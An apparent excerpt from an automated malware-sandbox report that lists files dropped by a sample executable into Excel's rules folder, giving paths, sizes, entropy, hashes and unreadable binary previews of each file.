Preview:	<?xml:....._1...B.Z...v..<.."r76....H.w.=.=......#~...D.w....?.X.y.l-+...p...{.IxY1f..@....v)......HL.y......Z.0s...6..2.3.L.......r?.L..I.....2...../_..\|...2.`.X...s.........I}.-....i.......z....9......@.".K..F#......D.....P.....0..w.m.nS.....R3@..U.o4.Q.$.i..f....w....@.d.hn.7.ri).i..p...F.>.[.a......?....b.._...X....>..;5.Ai..gOGi....ni;O+.f.).#5.`...40ZD...m.@dZ73...Y..W..X.G....L.GG{.o..1t[.....J!....[.;......g.`J....,....8.>......O_.4J...;...G#...b;..e.."-M.:.du.. .. ........L..UMf;#..o..Dd.~v....G..p}....@..K...>x..#..`.u.K..k:.....s.kU..W.....~...o....e....{.w. X..e,..P.f.....fK)..=...Ft..+#FUY.V.ml.fX..O..7....s\|.DA....;2jo...r.L..qN...<2._........aN.b...........c`...$...... .Z..L..eq../I ..rW......W.g.j..s.\|q.&7.QG...Wq...iT.:.p.._.Jo..L..a7..b...@..9C...I.#...gFR... ..e,..n....(R<C-8...s6$..6..]....)..f........S....p.(..z..l.<.u..F.r.l+.B<...2H.....{.....+._.`...]h..!#v..m...m1.W...[l....n.2f.S.(vj..%..J.....`;...}i...J..kl.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701400v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.899858179770912
Encrypted:	false
SSDEEP:	48:eu0VVgQgkRV7jc2CDOGqGtpb92nDofMqVcGZOJD:eBg87j56O82IcGu
MD5:	24105282DA2038EE1E1F4EC282857EED
SHA1:	96548471EBC9402BBC756D623FC947DE967CD57C
SHA-256:	D465EA206F7C08B3695A326972EE7962960941F0E9F1121A7F10A36EC96BEAAB
SHA-512:	B263BBF87C075DA8196CC9C526B95C03F653C26A618852E43B81E4ACF59B2803063293F4FE4CA70B760AAC1139AA34B6A42B4E8984140FD1B39BA4D5FD5E785D
Malicious:	false
Preview:	<?xml.A...&...6...:.O$(j,....T.& g...LO\/;.~./axh....B.".I..g,.j.AF.....I.8...?h_fc.-.e..s..Y3..A......rEf...-.......e.xY.g.....d.f......'].ac`._.Q..vY.....e..)OAa....&2...i.T.SB..-...V?~...,..\|.QG.#..{.&.....f_.t.B.Q&@>..O..V.3a...>...h..0......I.Pp...1.......Z..KK..........X....4.b..$..z..I..n.H.9........%H...^U...NB../....J.....!.,.&..6{V..OM.LF.U.M...$...)....."\.S..0.-UR....N......../~("]L....[PAW..~.(.....y...._QF...3.gn}..n....W..k..'.z.d.%.......g..t..2.....~F.4.dA..}...Vih.../....2......h..=.V..../.p...#.....PoP.<.a.X.....^...:..K4.l.'[..G.4.1.(........-.1.._......L@....P..7.,3<.k.A%...H.=j.4......+.T....o.l.......i..7x.w$...R\...R....NN..oI.A...go..6.Z..N2)..iv....8Pp9..Y.@.._X.6..Z..`..?3......Lk..$..{e...C.6......Y...E..be....,8..7..Sr>$;(..{>pmV......=..>..Q..1. 7..{...wd.......$....c..YJ.h..'cb..F?...E..J..$-..J...K.J.A R....B......F#.......CeQr.Qxo...D4..\|.p....s.&.G..>b......{".....7T%r@#....0%..1j.L:...CE....z..u.C.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701401v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.874058623565339
Encrypted:	false
SSDEEP:	48:l06k6VGenFsiAn8w1auyAgIVFvK2QLZCc6z3JD:66k6pFs5n8wwuyrmFvKn0cw
MD5:	72EF260698E5CD01100899F3B78C5A1F
SHA1:	99C7C2D933B1FE56FEDAEA6E40364477E316EA38
SHA-256:	EB1B9EEA6C9CD58D6C00BD86644BF6A20102F651685DECF82072032CF1CFA370
SHA-512:	A6235BE21D334D4E422AD6A4ADDD4FD1D169A59D84203D8B639F3D7F92465711236347A8554592C1B623616FB65A59E04743CFB6D129197FDEE0DFA965622AF5
Malicious:	false
Preview:	<?xmlKX5[G.4O.L..cl..;.^.X...7..mK6L.wtj.&.....S.F...1...U...._...d...{&..wDk.o....z.j.5....n. ......b{........6..7,mId1.oN....w......P...mh....na....0..jTh.....Z"..c'.M..............J{ ..C.......Ah..&,.... R.....i.;w..w.(.4..B.b.ru.g....Bx...b9..0..O..;.^..4.\..W,...V...G....F....S."a_...n..:.....!~..V$.R..<?6A#.I......Gm.r...[_..]aO...r.5j9..6h.v...u.r&6}....>.....R...o.b.^]...B.....TF.?...k"im..).".b.w.Y~.....'.w...B>....$@......%....=..1;d.J.y.D@...E.WB.\|dr..e....W..&.I..;...y .......4rD...`B...00J.t&..y...].....Kq.CU.L..?.aB2..m;.$[#(S..U.wG.k......57n.e.t....;..e...P...DW/.. <I.(.@...\%T!..r. ..kPz..kJ@-^...\|,X....%-..!4..r.A.....4.Yl.......1+.PD..3..b{..`v.....'...l....X.p;.y.=xV.?5...,K......-K.w.../.R\~V#~....X....].m.#......)?]..4.`5!LNH.R.`xHE.s.d=.H..[.J..X..U....w~.L...?.......w`R.......UW.../..~......A.t.J....VIIe...#.......".\O}..iW.?..(..4<.o...L......./.F. ...r.;..'...X%S-\|.......IH.q..I.-[......C.h.....l..P. .6...g..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701500v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.873235039195963
Encrypted:	false
SSDEEP:	48:SCCBaMdM0nnKuhZQeI1AtXdWNMdQ8RkR8HJD:SCCBaM/nKuhZxIKttWNsQ5g
MD5:	6965F4C690B3EE05D74F98D70749AE1F
SHA1:	E695BBBE03F938B2170D66A6888C82E339E59092
SHA-256:	AAA280A2B5918CC14A357242EB422CB8D48E8583E3AB26A8215074C45691C980
SHA-512:	CBC6BBDB71B89264A92484802CF1D5FA9EFC616550EA1BC72156D86675E8B60D844B150155D772E8CE35DF11055C3383737B9BCDE28CBDE3AA78C58A355D2ED4
Malicious:	false
Preview:	<?xml...3az..%...Hw....9......`F....(...h.....VgM.CYj....>..v.T..-.J.,Jz...kjY.....:....0.._.........j)S3^Q../..aD._..lewx1.^.+.).....x.....l.....2JC...L.\|...(#1....Ki.yYo..~.~=2..^...^\d_R`b.AE).ck....a~..y...p[i..X...._6 ..,......'..m.;.XLx.C..'..@G.-(.\|.....d.57..9y.n..W.h.$....{b....u$..LQ.b{U...VT.b.p.G5m=..C.pL.Y\.e0....M.... .uR.r.y{.....p.A....sA5.;...L...C...1K..?^..1E..H8.V..b'.gc.EPZr>...n..n..31.....EW..........?.1<.D...5...$CcY...Pz...#.fF...1..FT..Mx.....q......~..:.1..'.>7.A.o.nM^4.7....FZ...;...5......%\....C.h.S..O/........!.bR.p!...8`s2.H.X..^....j..5.].3..-...d t...3v...d...wzU..Y..TO....P.....v.t...`u{tnH.yA1y;.....R.C3..a\|....)g<.\|.Z...B..Hb5......v.2{P.{..r.f..G .{.^.....WS1.I..#.%...%..78g....w.i.e...?..0...R.W...G..mp#y....,n...#.2..&l....4.........$]..D..I..A!....e..O7.-.7.s.5.y~_#.FGY......r...}.X.o...:.m...y.M+.....v;.V.#\+`.8..b......A......H..,...9...:5......o.V.MB-5..E#.H.o>..x.S.z..L).e.C.c=..%wY..R..#.....\bp`.O.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701501v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.88035656667987
Encrypted:	false
SSDEEP:	24:5UQRzgN6DXha5+srhENznUs6b58xMnddvGpgWHKyv3WE0MoJZyOBsWpgC9pbD:5U2UEaKNroexMdN+HNfpoJCWpgEJD
MD5:	D44BAA0AE91F70AEB5C3627D8D46B385
SHA1:	31540D3B773408DE811664F8FB60E3EBD78DE742
SHA-256:	5CDAE8029517372A028A2004C1FA8115DB8B099A049F08A749F496A5CE3B46A6
SHA-512:	A87BBD47A152A744E0DEF3D9E7E03BE65C1B1982346EA821CDE5CC665D2C8984E382E0221F9C2E146B0EEA1B7B6ABAA80E60D9A72B852F134509844D7E6443CA
Malicious:	false
Preview:	<?xmlxve$ ZM....C.?..O......2.......5.Mo....;/7..7WXkh......./....}$...feBw ..w...Z.#ae.F.........,.../j!rL.....}...^G....>..,]...<.sc..\r%.:.r+.......9.,<m~.....6..;T..C?..4...A.p.....`.....a.1/...B....9.5!N....}.i@...\|W.&'.P..cq....M.....Q..$[k.6.A.97H.F...H[%.E..wt...q.....-rg.Q.,dU...h.,c..y...A....C...i..Z,..Pn..1...Y.Q.TB`9.....$......iwF.......=.Z..\|.,..s.0.J0.....+k..1!V...9......0gR%..&Da...ly.....,...d...I..\|R_.8(njf...hs.Y.OT....W.}EB..oz.ey.n.....S......Q.I1:....d......:..q.-LD.&.&..3gP..h>...,[..^5...[......J\0..O.............V..U.....s..<.f.;..7....w(...V.'HX..O....P.<.o.%r\|.I_...6(..M~ N.k..%.h6....Z.&dd..l.U...7.T...r1D.ZN....[0.o(.{.}..wv.'.m.)...>@\|......T...w.q...vK.Vib..j....v..y3.<5R......8...C.".....E......`.,d.@......kY1`......k.`...~.flD..P...&.....mU7.......F..[..[C.).......9...uH..$.K...Z..\..l}W...2...b..bQ............R......<.B...Ij....\ D_KQ...i.f....y...l+...@.Y>.!....c..>..3.iCfm..E.....Xp.....0.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701550v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.887735620615495
Encrypted:	false
SSDEEP:	48:1PnB5jBs7h1DI9lWEK16UKvhMXhjfCZWGcFJgJJD:9nrjBs7h1DI94KGXhdFE
MD5:	10BD1808FE660796894766D4A9A406C9
SHA1:	4905FB80BB15442CA74A76D449606D672250BE3D
SHA-256:	D4DA9D745BFACC988A5BE54C03408CC8E2D6241B1F191A9E7160C1BA4F2D8167
SHA-512:	9A8A191C2B844D66544B98C152CA9D630C8F3F515C895FEB4B4CEF3469DC981066DAA79A51F4394AB2DBACE4E125EF44BCACFF95655BDFC2343E75AE26E4FEA1
Malicious:	false
Preview:	<?xml..>u..._.'.alPO.....B...2.M....c...!...c.W...+.a.$..yeyH.R...fo.w.X}x.W.,S@....[..dZ.\..>..Q.M.J.;.#. ....M..............7K.....q.b>....8Ud.......L..r.).:..r.v!.r`n..i[.\|N..L..;...#f./..2...F/c.-.#.Sx....z)e?.........Q...C..).o...[T7.C..\^`.e.b9u.Z{..Bl.(_&....$...7..9.o`6...w.Cp.x.\|?..oA.r........cy....["2^T..=1.SsjR..L....&j..7..a$;.>..l.9.....X.. .x.J.fq.0.{..q\!.P....jN......%l./4.=@...........l%.t....E.y)YbIH..n%g....@...u.f..k.>.;.(6..]......"0.).##..M.......H..jUk'....M@.I...b9..>.KP2..dFl.1.ci..T9`..........K.....+"...N9..3./.?..y/w;:.t......j.....H..x....7;.'...p...j.9.IG"...hI....XkE.s.W....W..w.6qk...O...?....DMv..`c2..GC......\.....D...yf...b]..D.........:'}\|+.pSl].... .T.......wJ..V.0:.R8._.....k...0...%.,(....\y.Z..5.[..!.WV\|Yu....sU.MS.MGU..8../W.T...J_T ..C.>.......4.@..z....9WjT..1/r.U~.;dDW.j..SP..h. .....>C..--=. .{1..v.{2Y.,.-..Mjg..N=X#aAS7.X(Y.&.'5..]..oKs_.K\./s.Z.....J5S......"pv...Bq..-.(L.w.\...[..d.....'....o

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701551v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.888973966235462
Encrypted:	false
SSDEEP:	48:cYaNhr+Gb110Ve8pGRjvGr0hXLvec06MJD:cNNhSGae8pujeAR3062
MD5:	28FBDE8B7C4C9D263A9BAC0BAF112F4C
SHA1:	E4D1D5EDDD149CD6712080065B3E1DD208B367EC
SHA-256:	97F071E376C93DB1AE1DC2CECA2701F03275328CCC74C25F131136663BEB8273
SHA-512:	AE845588A81521C4AC4827AADCEDB48C89167C5014F502EC8E9E5C4CA64A69491B7F31E383AF530BE3F88FC406C45B779F223F61D549F71F14BF6C71E6096D98
Malicious:	false
Preview:	<?xmlr...RF.k"JxG5..q%.I...{..DsvJ...+...OI...-.......I..q6...W"...G..H.@?...._..].b~li....$W.&.XZ2hh._ U.~3.Gte..C...\.}S.b.i4.\|....J.l....\|....pF..a.L..C.8>jn3....a......u.o.D..0K5....8.2Q.d.....,.V.....DC>........q..W..=n.52...T...(.7'<<.T ~)..Q.a.wq.Ju......h......y.7.n.......3.&K\|.sp.o(.Tx&.'.#.w.&S..%~i...P.D.K..I..4'b.j.A.......~\|.R..-3A3J,.f2.!4.......W-..!...X..Y(....8..r]..............e\^.I../W.H.[E..A....e&. ..4P..]O...=H..1.......i........).3.I6D.z..W.\..'..G.4.b...oDU.(^d]]0d. IO.S..Hy....4_.(.8..y....t.bWl.~.z<.&$..",..UP.....(....UE..d..l.'.X(D.d.<S..Y..C&.f..u?p.X...pn....R-....?..K=...H{.6...f...t..(.....q..4...]..0a#.......C..4....F...C.h.GD(.$-...=..]..7B.lAN'.Z...^.A....Zu...w.=.R.v;.h.B>%:..Z...B6..Q......];F........Po.......A......d..l-_..-..6.....9R.1.!Is._l-......w..]=s6...i.V.m...Z..G[N....OP.}B\n\.`9.PcVf..s.6....{.4..._1].c.k.5..L.k2...A>.....2w.I..h.^....m.= ..*q.\;..s.w......2p#..XL.~o....!..Rf.ae...$=..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701650v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.88580452829996
Encrypted:	false
SSDEEP:	24:t+xBg5aq9VFPW4qud9HJ35mw9dif33efiLLNsSMJT1PNhKlzvcGYOa9pbD:WBJcbqurJJj433eaYPfsjXYOcJD
MD5:	AEE6F07CF9A532E8DA1448DF7585946B
SHA1:	4B9BA165DEEE49C8C89976DDB3C7E4B547B66C75
SHA-256:	F03567035C74C47EAFBEE2FE2A03A8BA5ABE6C683C237AD1C3F0628072B1D75E
SHA-512:	519874C6683E6480C3FE31B19B38C253D0D4A5D78CDA206547D1A186A2A93BA7E40449C31D76A8B120B476D8EAFF8976C87EB61CECA76366FF1460CC173AC0E9
Malicious:	false
Preview:	<?xmlD..qX.......z..$.YB....T....8..X.D....>a........... .v...F....xO0..9>L!Xf.D.L....pY.......K.Y...C92..t.0.p$5......xE.1.<F}.y.F.ggL.....C..',7....\s..&.....({]..W.l..O..H..-...r@G..6...P.N)..tS.G.Xtj....Y.6%....[....m4..$.c.....P....@b.oR.y.(......Kf}./.=lB(....zfj.@...6....(>...h...a.....&q..#.k.8.VKX...v.._..%.i...Z8...y;9.......+gY....Y.F>..m..s...w=.<..1z/KEH.P#..@..d..Om."..D...H..x.}..z.q..K.Z.b.~.1W$..m....i/.,..N...~...XK.............{.\...Z..g..=$..e.d,/....^XO..\..'q.i.Zc.Cea...0/W...G.."E..-6...u.(.....0Y8X...iO..ql.'..2...x..........-G..<.....2...s..6]..B3.c.......y,<..+m...:....aN,.qu....C.p.;M..K.i....w....j+..,PD...K.. ..%..Cd7).u^.k....zCO.G.v..........Q.y..%..Y....L.........L...r.FwyF-.'.\'...5.C...^...../.t.WC......)..S.li.4.37......Y.Hg..)Xa.G...8.Y..#".;....$..l..Ua^...K.(.0...z.6."..U.Z#..92..z...O....j.`V.......(F..US. .......9,..e.x...V:f..L....t8...p.,..U\t.....E.O'.,..........J ....=.j:.....Y"

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701651v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.891560755086552
Encrypted:	false
SSDEEP:	48:rHCintnX1vJt6OT0JyYNykGjtBjJPyjx+0PJD:riYnd36DJB0kGZvyL
MD5:	9F08CC80AA737A6E21B27CD33B2FD19A
SHA1:	BD753F3BA14F437CB3419B7C3C8E06F39AFFC334
SHA-256:	9274C56881E7DB84F7129BEDCD36A76C46CB4CB29B4C7484F58A1F8519E89F07
SHA-512:	D7A2F7C3334E9E0750BA8D1B23FF8F0C0400BC356DCA76FC94FF457DE70B3A2BCA8E758FE43B365751B8E936FDD9D6DBFC2C5AD1BC30EF2354D8CCE6D125E6C8
Malicious:	false
Preview:	<?xml...."...h..H..-...g.g..z.H.....M.MD....C]l)S.[P".B....t ....l.h....%.k.8I.\|..`...C..pF}..........i...q....$...3..8.....\.3d.....g..T...Q......P\...5..1..Z.M..T...Y..].....(#`..Z.?...J..<@...E..I/..0.7..pZ./.s&f..f...LvVa.....H..I.Z............B....W..}n.D.!.(.._k.pK..o.88m....oR...........G4.=.K+.3...2.Ojc...........Ioh..[..k...V...>.[....).)..m...7O.c.d(..\....W.0.qp.".k.\|/......4/..u.....h!..k\|. ...!... ..M.9..q.(.o...O@.S..........rX...Gg.\|....+."...G......6.g......._.'....i.5...0`.RJt%......$..bE....1^....yW...;.Z~C............}..lp.....g.l..<WM.....0w....x..~...Y,9v%#b.$#....-e.p.1.'...H(0M2..U.....M....c..@.....i.6...wD...`..w.q.kxpy]I.x.z.....=...y.........W..}.P.....v{.r.2.W.'..(....w..+d.r.._NdM'..R"....,.....8..~....$.m}zK..z/n.nEG/...5P h t.PF.n.Gaw}}(r....5e...2T+....$...t.^.=....-.J'd...W.~.6vGE.e..@. .....w!.....7..id.b%.I.F....E.9...y....3.I.foFu..............{.j...z.g..I.vb.._J.x..P .....0.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701700v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	7.898306759320984
Encrypted:	false
SSDEEP:	48:wynP90mOMsIjsBONRxxrCaSXB2l3HpSkAP/JD:w8mt0n7CXX+3HgkAP5
MD5:	4C5BE697A23A3599DAD2A2A6348F699E
SHA1:	B7176A079148DD53C800A833BF188F5F92FE3FC1
SHA-256:	122EB1D3002DDC5A238CC018EEDBDFEBDF403C2F237B2AEE55D699536BCFBFDF
SHA-512:	1A308D2246036E2B3C8AD98EF37A519D4067B2F2616ABC3E128ADEFEA060D3C42BA2FE1FE506BC4F5641C5E786CEE956BF2082F7417A87B27CADC04B4E26BC0B
Malicious:	false
Preview:	<?xmlM#.....Y,.F.-F.t..syM.D.......vIU..v.."..N.&7....."....}.v...8R.)..6...D.A.V(.J.u.C..\|B..\|.6..4RQ....2.4J.=........#3..@../S{H...V.[8..C+.....0.$,.`:..?"..P..Tz ....m.k_M..H........<.-./{.p...ug.N.L....\5o.....T5..n.l..Z....R.z3...A.I...C..I.ND.?.T0..znex....-N..E.!..1.......G...k..q.F.v.c..U(.....;...w.'..e.#..r.uAW...LYG!^..o.......x....).W..h.`..;T.:.(.......Y.A...Z.00@[&\|.;....$..d...._((..;.....T....YU.........L....-o....LQ.j..7;....$zt..L.....d..v.~..q..$j!g]..+._Yg...b....9..i'I.....D.\|'\..(9P.L:....Oh.UO..^....}.2.S!.h....u.~n...Kx..."P.s..,......k.N.0.z..=.Y.E.,.I..R.[.t.G..m^.$..f.+.!......M.j1].h....R.....0)g..].0.^.....t`..{.....pL..q..j...f.Y..X...Y,z...+..[....j.QU..O....X...............((.5S.ACp.R.!...N..h.}......e.n.@.\p.....r.....2..]{.Y.?K.........P...?..V.>%.HM./qPV\|......9`y.$.....^{Ba.o..O..j......;G....;..M/..(.?.T.9\k..O-.c.T.f{s\|'.f.jI.u..S...P.....V........?*.>......?.D&.M...V...V..6\AT.UG.)$...#.('.(g

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701701v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1756
Entropy (8bit):	7.876243129891134
Encrypted:	false
SSDEEP:	48:6Fqis0QX+1tMR5cJoVnralfthIvXeTtR+5yJD:6F3gYtMgGBOlft+vIQO
MD5:	10EAE6ED1145302883ED605842D4BA42
SHA1:	77B99004EB5776523B364E22874AFA720A742FD8
SHA-256:	59BB1A5B36471B28B7CAEAC5BC53E4D77A0BED7A5FFD308A50656F7365194121
SHA-512:	68E21EB52F62110458D46498B38E4EDCCC2BE0EE827AF6326A3343F0F67718837CA218363474D3F247699341D3AE62174FDEE7888E9FBFAC6719DBEFCB0D71CB
Malicious:	false
Preview:	<?xml........z.L.7.H."....(.g...43.y...J!.........T..Y(..Sx..'S..IW#...~.......<.6....tI....)`g.../.-..L\|.....Uo..I..aQQ...9...u..;O.U..nv.....#ta..t...CFQ....-...X.._.v....X....;v&..K{...~..b..`...6s...{C..VBF%?...IO...`.N.B...i..t ...[..6...%N...'.,.h..S...2B...>.w.2.)oF.......jo_......"..G...=7...YO.....B#.j.qF.).Gm..@w...%2._.AxT)rt...y...(...0..)...H...c&B.sO....2....%,...V.1[!.~-..$.3:.q..&(....vg..KQ2S....TWg..I..m..-$.(J..T"T.}.DD.n.a<].;...q..u............4BZ....e..@..'j...QFj+..........L,iI..K..._.K..a.p<.N.........g.q.T2.s.:^wX.....J..=vag...Z-klu.g...Jwc.....S.`4..6......gl...P:......_._s..E.Kz........{.Z.."...$wb......lb.g.[9>.9....r.4$.?..-.Z..'.x.w.h..Z...Ft.V._0...&.".Z..#.....+N.Y.......bvy&9X.H-.....?..f.e........]...>.{J.X.b.,.(....*J........Qye.......10..g.,........B.Fzg......J2.G.{s.......I..+....Kv8....e....ao...VT......<hK..4.>{...$....V...gR....QN.'..xp.u.-yz........<\.0w..!..F....O............?.p....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701750v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.886015618985504
Encrypted:	false
SSDEEP:	48:DK4Hfs8Y4+0eE5vGpdiNq6Dn8fge0G8MMyVl0XJD:DKQ08YPE5v2dgqaegyE
MD5:	5F98096B84F3E1F6F622F01CECE7064D
SHA1:	3A6EA37B7816B8A64B6BAA6574E47A9FD5122A6F
SHA-256:	3DD9877D2E1E320B1AD61351AFCDA45A813AD46330D5349D7185E892B7C9E3BE
SHA-512:	48EF7E56FE375EAFA537DFFF8B7D0A70A87AE3E664B0BC8DB8047C387B768D1917E95D816608434E9F79E863E5E17489C122B23E78CF98AB7A1273DAF24AD7E0
Malicious:	false
Preview:	<?xml..w.V\..B...hA..P......LC...9...m.J..].0u.#.....5......b+7......w.U...a....3]#...0.....^Du...ZU...!.....O.....S.......u..U..R.r..P...j.W.,............G.=.[E........x..=9L.%Q;!R..p..Kd..Z<.\|."Q.m..'....%Jgk....Z.K..c...,......%%...,..hsq.}z.Y`....k...i......v..<.\|".oG..1..:.-....z..r<.....4gy...J...j.;"A.....H...'....f.1..J.......DT.M4Y....N..a...P..........y:..^W..[.i.E.....$..U.............Q/......:.bd........D..M..]m}........r.O.x(....64r........9+..x.Uc....B..r.......1.+..f..lR.H.n[.oP@...U.DGD.V.\.....[...!...@..Bd...._rI...N .[.....r....5.K....-...../..;3.7..KbT..../..9.).! .I..i$.......7..v....a.O.zm.fo.L...'3.VE.....$......$-r.\.6-.A...I+.fQ}.\|.@.....<..E.&.&=@....\|....a.=U.9z....dt@.nh...\|2..u..H..Y.<...8..kbR.:..)..K.,..j....<e..\..#n....%..k5^J...~y.......?S..r!...pn'..D.b.Z..5..;..v.......B.j..c.'..D.L...r..5e. ...........un.[h<..}j.pah..+..c...,.5...+.<]v.....B.]=R..}...M..}..."o..j3l.a....u... (qU.a...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701751v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.8719420291121125
Encrypted:	false
SSDEEP:	48:rvNYjfYTPmWywDgOtIXjudQuSHu9YoUQp80uZEJD:R2gTOvwDgOtNd7J9YoUQfuZu
MD5:	8854425EBC30B462CF7914C5409F030B
SHA1:	698AB3628F17EA0B91F2EE62DD77AD1AAF83A745
SHA-256:	58ED7FA6913DA5786B4C6F48E0F9B49C3277A79612BF613FD22E0B5DDFA7456C
SHA-512:	52B4F5BCF2006E707FB77EC60B3BD1CA366EA1ADE9DC26277A6B9ECAB3F6226E861AEF0D5053F2C64D2D0CA78054F503EB32ED697A2A7E3AA754DAC4144D5391
Malicious:	false
Preview:	<?xml...3;...."zP\|{..D....a].(.P....o$.&~l.B-oM...S9^r....v.Z7p........}..r....A.Q.s..1."...F.q.-....0jZ..."..eaz....,WN....G......(....d.......O.-..n.`..E/..t .fsP#..C.....@D...pkJ.k.=...Ud.ol6T.........:].b.N}...n..f...<..!S....8.j....f...w..R.....t..T....X....b...J..L..~...V...'...U...g..z<......)..F.ZkH.$.i.XJ.w<ZL..]kw..fs.W.......H...U}.<,..... ..\..5...!GC.....<.3..oY:9D..C...g..Z.....^.[..O.fE...(........6....Yuk.....,...k..\|...~..J5\|.4..Y.\| .....0&...E.}.W....v1.N.]...}..'Z?N.'..M?..[...3e.{S.X...5&...)3.z.sn.....l..(...\..Z..P.o.8..^..)S.t..(..M.+...p.<....:lXj...Z.....j.(Z.Sh.!N....C..R...0I.......T..q.......A...l/"5...i.f.&.rl....@...?..EI...J...'.<d....].K.W....F.A.^^....#<r.H........~0...t.4..)...V..8r.)....U...-*p-.n..D...X.z[...}....s.y....u.w...mb..5.......@.s#..;m..9....o....N.O.q.')..V.g.$..[..d...5K.O.$.&/.mLTu..S.....?..}JX...;..z...g.....!k\|..j...R.9.7....[......$...2bX.5u....S..._.......5-.=!.....#./e.U.l..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701800v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.863056777324652
Encrypted:	false
SSDEEP:	48:44Km5IgMmYqHJotEBJlq25/hM1hOWCzD54WCQFn/JD:Wm5+mVJAGHq6M1hOTzDLnf
MD5:	5C19D15356FA705CDFC4D87E02F4BCDC
SHA1:	914DEDC71582E48E3DFFE9DC2D501B1A3EF2CF13
SHA-256:	855C85BCDBFD5C4E2D45EB83E044DACEB6F7F059324A350ACD65FD142B44D7D0
SHA-512:	16123ABC209867689ADAE14F6541C9D25F09F6F3C32214E2E470B91549F458AA004212C223460707B5A851A9555D9F4C62B478239F1F22792367A0EBAA4361CE
Malicious:	false
Preview:	<?xml..7..]L...O)......]4._.3\.j1.<}...)=yA..IEl=..\h.L.\....X(N.....$`....$ky?t..5........t..e\.X.X..e`"0......u.6....p....Dn..V.&..&..P...$6^.BA6.&.)7._..$..=TLw...r...T....-q(y-...1....-a........hL..P....V.......,...J..SyV.O'}4f4..Zj..!.3]...3.M.i..n.S'..&...KRw.%h.......H.]N.........}.5...Ho.N.w#.e5..._..hKP...!......K`.H<D)b.z5..(_`..V$.JMz...[.3.....$OK.7..+8..q....7.4.....0[..f..h*....j./..n.h...HL....=........h/......^.3#...>PF.}..!.K/...B........N..W...m...\|...{.W..\sT.K.u...i+.l..O^..K.Y@..@M....2.XJ...c......p..b.L.5.=.....Z.)92.....T........_._....{..6.W#.4....k.;>....hI.#.\.)..w++..Mp.....L.if^....+.J_.=...D..=...sL\^.vqUW.EEPXj.r.u?W&.!...a.[5...\|F.5.o<...xh..\9s..^..(..!7<C.....2C.NH,.... ..m.8....n.#....w{.c....m.>.VS.....~..!q.,.QnO....D/>....~b....+.Cc.?..O.%.......-.A...e..`.J..-x.....C.S..h.....(d.......#..fo%.y.2Y!TG.K_.....%+n5{.lO.s...QC.g6........].O......d...........1.u..B!..<Z...[.A8..q.-.%..C..Vm..Ns..v..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701801v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.866634931689483
Encrypted:	false
SSDEEP:	48:naRepoKjqN3lz3ZAnyxZHXJv/iy8S9uVxJD:naLKAhZyyLXJvvRYVD
MD5:	7DF5712BA8BE801F6C943F78A4B7C9BC
SHA1:	75AE585BA7F57529C758C3D0D1F6CE91BBADC076
SHA-256:	F7CAC71BE0E2EB83AE2A8DC54208AB356E5DFE7B89A7245CA84A8D71BDE78156
SHA-512:	D48C460C4C442C357C2F53CBA662D22D8FCA96E950DD9E63D584E4CCFED282ABA9722117BD0E206AF1027DE1EFB33A6BD44E269F60F65EF4896D55A04FF716EA
Malicious:	false
